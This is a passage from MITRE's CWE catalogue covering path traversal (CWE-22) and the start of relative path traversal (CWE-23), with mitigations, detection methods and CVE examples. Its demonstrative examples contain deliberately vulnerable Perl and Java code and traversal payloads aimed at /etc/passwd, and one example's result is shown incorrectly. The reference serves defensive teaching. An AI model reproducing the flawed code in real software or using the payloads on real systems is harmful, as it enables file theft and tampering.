- [REF-170]Kevin Beaver. "The importance of input validation". 2006 September 6. < [http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92\\_gci1214373,00.html](http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html) >.
- [REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.
- [REF-1109]"LANGSEC: Language-theoretic Security". < <http://langsec.org/> >.
- [REF-1110]"LangSec: Recognition, Validation, and Compositional Correctness for Real World Security". < <http://langsec.org/bof-handout.pdf> >.
- [REF-1111]Sergey Bratus, Lars Hermerschmidt, Sven M. Hallberg, Michael E. Locasto, Falcon D. Momot, Meredith L. Patterson and Anna Shubina. "Curing the Vulnerable Parser: Design Patterns for Secure Input Handling". USENIX ;login:. 2017. < [https://www.usenix.org/system/files/login/articles/login\\_spring17\\_08\\_bratus.pdf](https://www.usenix.org/system/files/login/articles/login_spring17_08_bratus.pdf) >.
- [REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

**Weakness ID** : 22

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

### Extended Description








Many file operations are intended to take place within a restricted directory. By using special elements such as "." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1439
ParentOf		23	Relative Path Traversal	44
ParentOf		36	Absolute Path Traversal	72
CanFollow		20	Improper Input Validation	19
CanFollow		73	External Control of File Name or Path	128
CanFollow		172	Encoding Error	415

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1439

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf		23	Relative Path Traversal	44
ParentOf		36	Absolute Path Traversal	72

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*



Nature	Type	ID	Name	Page
ParentOf	B	23	Relative Path Traversal	44
ParentOf	B	36	Absolute Path Traversal	72

### Weakness Ordinalities

**Primary :**

**Resultant :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Directory traversal :**

**Path traversal :** "Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i>	
Integrity	Modify Files or Directories  <i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i>	
Confidentiality	Read Files or Directories  <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.</i>	

### Detection Methods

#### Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only

exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

*Effectiveness = High*

### Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

*Effectiveness = High*

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = High*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

*Effectiveness = High*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "..\" sequences are removed from the ".../...\" string in a sequential fashion, two instances of "..\" would be removed from the original string, but the remaining characters would still form the "..\" string.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Implementation**

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59). This includes: `realpath()` in C `getCanonicalPath()` in Java `GetFullPath()` in ASP.NET `realpath()` or `abs_path()` in Perl `realpath()` in PHP

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

**Phase: Operation**

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Architecture and Design**

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Attack Surface Reduction*

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

**Phase: Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

**Phase: Operation****Phase: Implementation**

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Demonstrative Examples****Example 1:**

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

*Example Language: Perl*

*(Bad)*

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
    print "<li>$_</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as `/users/cwe/profiles/alice` or `/users/cwe/profiles/bob`, there is no verification of the incoming user parameter. An attacker could provide a string such as:

*Example Language:*

*(Attack)*

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

*Example Language:*

*(Result)*

```
/users/cwe/profiles/../../../../etc/passwd
```

When the file is opened, the operating system resolves the `../` during path canonicalization and actually accesses this file:

*Example Language:*

*(Result)*

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

### Example 2:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

*Example Language: Java*

*(Bad)*

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

### Example 3:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl*

*(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

*Example Language:*

*(Attack)*

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Example Language:*

*(Result)*

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:*

*(Result)*

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

### Example 4:

The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe\_dir/".



*Example Language: Java**(Bad)*

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    f.delete()
}
```

An attacker could provide an input such as this:

*Example Language:**(Attack)*

```
/safe_dir/../important.dat
```

The software assumes that the path is valid because it starts with the "/safe\_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

**Example 5:**

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

*Example Language: HTML**(Good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

*Example Language: Java**(Bad)*

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\", pLine.lastIndexOf("\n"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                    }
                }
            }
        }
    }
}
```

```

        bw.flush();
    }
} //end of for loop
bw.close();
} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

```

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the `BufferedWriter` object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use `../` sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

### Observed Examples

Reference	Description
<b>CVE-2019-20916</b>	Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as <code>../</code> <a href="https://www.cve.org/CVERecord?id=CVE-2019-20916">https://www.cve.org/CVERecord?id=CVE-2019-20916</a>
<b>CVE-2022-31503</b>	Python package constructs filenames using an unsafe <code>os.path.join</code> call on untrusted input, allowing absolute path traversal because <code>os.path.join</code> resets the pathname to an absolute path that is specified as part of the input. <a href="https://www.cve.org/CVERecord?id=CVE-2022-31503">https://www.cve.org/CVERecord?id=CVE-2022-31503</a>
<b>CVE-2022-24877</b>	directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via <code>../</code> sequences in a yaml file <a href="https://www.cve.org/CVERecord?id=CVE-2022-24877">https://www.cve.org/CVERecord?id=CVE-2022-24877</a>
<b>CVE-2021-21972</b>	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses <code>..</code> path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-21972">https://www.cve.org/CVERecord?id=CVE-2021-21972</a>
<b>CVE-2020-4053</b>	a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory <a href="https://www.cve.org/CVERecord?id=CVE-2020-4053">https://www.cve.org/CVERecord?id=CVE-2020-4053</a>
<b>CVE-2020-3452</b>	Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-3452">https://www.cve.org/CVERecord?id=CVE-2020-3452</a>
<b>CVE-2019-10743</b>	Go-based archive library allows extraction of files to locations outside of the target folder with <code>../</code> path traversal sequences in filenames in a zip file, aka "Zip Slip" <a href="https://www.cve.org/CVERecord?id=CVE-2019-10743">https://www.cve.org/CVERecord?id=CVE-2019-10743</a>
<b>CVE-2010-0467</b>	Newsletter module allows reading arbitrary files using <code>../</code> sequences. <a href="https://www.cve.org/CVERecord?id=CVE-2010-0467">https://www.cve.org/CVERecord?id=CVE-2010-0467</a>
<b>CVE-2009-4194</b>	FTP server allows deletion of arbitrary files using <code>..</code> in the DELE command. <a href="https://www.cve.org/CVERecord?id=CVE-2009-4194">https://www.cve.org/CVERecord?id=CVE-2009-4194</a>
<b>CVE-2009-4053</b>	FTP server allows creation of arbitrary directories using <code>..</code> in the MKD command.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2009-4053">https://www.cve.org/CVERecord?id=CVE-2009-4053</a>
<b>CVE-2009-0244</b>	FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0244">https://www.cve.org/CVERecord?id=CVE-2009-0244</a>
<b>CVE-2009-4013</b>	Software package maintenance program allows overwriting arbitrary files using "../" sequences. <a href="https://www.cve.org/CVERecord?id=CVE-2009-4013">https://www.cve.org/CVERecord?id=CVE-2009-4013</a>
<b>CVE-2009-4449</b>	Bulletin board allows attackers to determine the existence of files using the avatar. <a href="https://www.cve.org/CVERecord?id=CVE-2009-4449">https://www.cve.org/CVERecord?id=CVE-2009-4449</a>
<b>CVE-2009-4581</b>	PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function. <a href="https://www.cve.org/CVERecord?id=CVE-2009-4581">https://www.cve.org/CVERecord?id=CVE-2009-4581</a>
<b>CVE-2010-0012</b>	Overwrite of files using a .. in a Torrent file. <a href="https://www.cve.org/CVERecord?id=CVE-2010-0012">https://www.cve.org/CVERecord?id=CVE-2010-0012</a>
<b>CVE-2010-0013</b>	Chat program allows overwriting files using a custom smiley request. <a href="https://www.cve.org/CVERecord?id=CVE-2010-0013">https://www.cve.org/CVERecord?id=CVE-2010-0013</a>
<b>CVE-2008-5748</b>	Chain: external control of values for user's desired language and theme enables path traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5748">https://www.cve.org/CVERecord?id=CVE-2008-5748</a>
<b>CVE-2009-1936</b>	Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1936">https://www.cve.org/CVERecord?id=CVE-2009-1936</a>

### Functional Areas

- File Processing

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	629	2124
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	2148
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2151
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	2165
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	2184
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2202

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control		1026 2230
MemberOf	<b>C</b>	1131	CISQ Quality Measures (2016) - Security		1128 2235
MemberOf	<b>C</b>	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)		1178 2258
MemberOf	<b>V</b>	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors		1200 2347
MemberOf	<b>C</b>	1308	CISQ Quality Measures - Security		1305 2278
MemberOf	<b>V</b>	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses		1337 2349
MemberOf	<b>V</b>	1340	CISQ Data Protection Measures		1340 2350
MemberOf	<b>C</b>	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control		1344 2280
MemberOf	<b>V</b>	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses		1350 2354
MemberOf	<b>V</b>	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses		1387 2357

## Notes

### Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

### Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

### Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories. Other variants like "absolute pathname" and "drive letter" have the \*effect\* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

### Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

### Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that ".." is vulnerable, but not test "../" which may also be vulnerable. Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//.." variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Path Traversal
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
SEI CERT Perl Coding Standard	IDS00-PL	Exact	Canonicalize path names before validating them
WASC	33		Path Traversal
Software Fault Patterns	SFP16		Path Traversal
OMG ASCSM	ASCSM-CWE-22		

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
76	Manipulating Web Input to File System Calls
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
126	Path Traversal

### References

- [REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.
- [REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.
- [REF-185]OWASP. "Testing for Path Traversal (OWASP-AZ-001)". < [http://www.owasp.org/index.php/Testing\\_for\\_Path\\_Traversal\\_\(OWASP-AZ-001\)](http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)) >.
- [REF-186]Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". 2010 March 9. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/09/top-25-series-rank-7-path-traversal/> >.
- [REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-23: Relative Path Traversal

**Weakness ID** : 23

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
ParentOf		24	Path Traversal: '../filedir'	51
ParentOf		25	Path Traversal: '/../filedir'	52
ParentOf		26	Path Traversal: '/dir../filename'	54
ParentOf		27	Path Traversal: 'dir../filename'	56
ParentOf		28	Path Traversal: '..filedir'	57
ParentOf		29	Path Traversal: '..\filename'	59
ParentOf		30	Path Traversal: '\dir..\filename'	61
ParentOf		31	Path Traversal: 'dir..\..\filename'	62
ParentOf		32	Path Traversal: '...' (Triple Dot)	64
ParentOf		33	Path Traversal: '....' (Multiple Dot)	66
ParentOf		34	Path Traversal: '.../'	68
ParentOf		35	Path Traversal: '.../.../'	70

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2273

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Alternate Terms**

**Zip Slip** : "Zip slip" is an attack that uses file archives (e.g., ZIP, tar, rar, etc.) that contain filenames with path traversal sequences that cause the files to be written outside of the directory under which the archive is expected to be extracted [REF-1282]. It is most commonly used for relative path traversal (CWE-23) and link following (CWE-59).

**Common Consequences**

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i>	
Integrity	Modify Files or Directories  <i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism.</i>	



Scope	Impact	Likelihood
	<i>For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i>	
Confidentiality	Read Files or Directories  <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.</i>	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

